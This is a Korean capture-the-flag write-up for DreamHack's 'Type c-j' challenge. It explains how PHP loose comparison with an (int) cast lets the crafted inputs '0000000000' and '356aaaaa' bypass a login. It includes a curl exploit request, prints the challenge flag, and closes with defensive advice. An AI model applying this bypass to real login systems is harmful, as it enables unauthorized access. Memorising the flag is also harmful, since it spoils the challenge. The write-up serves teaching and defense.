[🥉 Bronze 2] PHP 느슨한 비교로 로그인 우회 — DreamHack Type c-j 풀이

문제: DreamHack — Type c-j

분류: Web (PHP Type Juggling)

난이도: 🥉 Bronze 2

FLAG: DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}

문제 개요

문제명 "Type c-j" 는 Type Confusion / type Juggling 의 약자다. PHP의 느슨한 비교(==)가 서로 다른 타입을 억지로 맞춰 비교하면서 생기는 고전 웹 취약점을 노린다.

접속하면 ID/PW 를 넣는 단순한 로그인 폼이 뜬다.

1. 소스 분석 — check.php 의 급소

폼은 /check.php 로 POST 한다. 검증 로직을 보면 취약점이 정직하게 드러난다.

#!/usr/bin/env bash
# check.php 취약점 — (int) 캐스팅 + 느슨한 비교(==)
cd extracted
echo "== check.php 핵심 로직 =="
grep -nE '\$id = getRandStr|\$pw = sha1|input_id = |input_pw = |\(int\)\$input|strlen\(\$input|echo \$flag' check.php \
 | sed -E 's/^[0-9]+:[[:space:]]*//'
echo
echo "정리:"
echo "  \$id = 랜덤 10자 영숫자,   \$pw = sha1(\"1\") = 356a192b...(고정)"
echo "  ID 통과:  (int)\$input_id == \$id   &&  strlen(\$input_id) === 10"
echo "  PW 통과:  (int)\$input_pw == \$pw   &&  strlen(\$input_pw) === 8"
echo
echo "→ 좌변을 (int)로 캐스팅해 '정수 == 문자열' 느슨비교. 길이만 고정 → type juggling 취약"

bash cap_source.sh

$id = getRandStr();      // 랜덤 10자 영숫자 (0-9a-zA-Z)
$pw = sha1("1");         // = "356a192b7913b04c..."  (고정)
 
if((int)$input_id == $id && strlen($input_id) === 10){       // ID 검사
    if((int)$input_pw == $pw && strlen($input_pw) === 8){    // PW 검사
        echo $flag;
    }
}

두 검사 모두 (int)$입력 == $정답 + 길이 고정 구조다. 좌변만 (int)로 캐스팅하고 우변(정답)은 문자열 그대로 두는데, 이 "정수 == 문자열" 비교가 함정이다.

2. 취약점 원리 — PHP 느슨한 비교

PHP7에서 정수와 문자열을 == 로 비교하면 문자열을 숫자로 변환해서 비교한다. 이때 문자열은 선행 숫자까지만 파싱된다("356a192b" → 356, "abc" → 0).

이 규칙으로 두 검사를 각각 뚫는다.

• PW: $pw = sha1("1") = "356a192b...". 숫자로 파싱하면 356. 따라서 input2 = "356aaaaa" (→ (int)=356, 길이 8) 를 넣으면 356 == 356 으로 통과.
• ID: $id 는 랜덤 10자 영숫자. 선행이 문자면 (int)$id = 0. 따라서 input1 = "0000000000" (→ (int)=0, 길이 10) 를 넣으면 0 == 0 으로 통과. (드물게 $id 가 숫자로 시작하면 실패 → 재시도)

로컬 PHP로 이 동작을 직접 확인했다.

3. 익스플로잇

input1=0000000000, input2=356aaaaa 로 POST 하면 된다. $id 랜덤성 때문에 실패할 수 있어 성공할 때까지 재시도하도록 했지만, 대개 한 번에 통과한다.

curl -s -X POST http://host3.dreamhack.games:PORT/check.php \
     --data-urlencode 'input1=0000000000' \
     --data-urlencode 'input2=356aaaaa' | grep -oE 'DH\{[^}]*\}'
# DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}

브라우저에서 폼에 그대로 넣고 제출해도 동일하게 플래그가 나온다.

플래그: DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}

4. 삽질 기록

5. 방어 관점 — 느슨한 비교를 쓰지 말 것

한 줄짜리 실수지만 로그인 전체가 뚫렸다. 교훈은 분명하다.

• == 대신 === 를 쓰라. 엄격 비교(===)는 타입까지 확인하므로 0 === "abc", 356 === "356a192b..." 모두 false 다. 타입 저글링이 원천 차단된다.
• 비밀값을 (int) 로 캐스팅하지 말라. 정답을 정수로 바꿔 비교하는 순간, 문자열의 선행 숫자만 맞으면 통과하는 구멍이 생긴다.
• 문자열은 문자열답게 비교하라. 해시·토큰 같은 문자열 비교는 hash_equals() 같은 상수시간 함수로 정확히 비교하는 게 안전하다.
• 알려진 매직 해시 주의. 0e... 로 시작하는 해시가 느슨비교에서 0(지수표기)로 취급돼 "0e123" == "0e456" 가 참이 되는 "매직 해시" 류도 같은 뿌리의 문제다.

정리하면 "느슨한 비교(==) + 정수 캐스팅 + 예측 가능한 정답(sha1 상수, 0으로 파싱되는 랜덤값)" 이 겹쳐 인증이 무력화됐다. PHP에서 인증·권한 비교는 반드시 엄격 비교로 해야 한다.

FLAG: DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}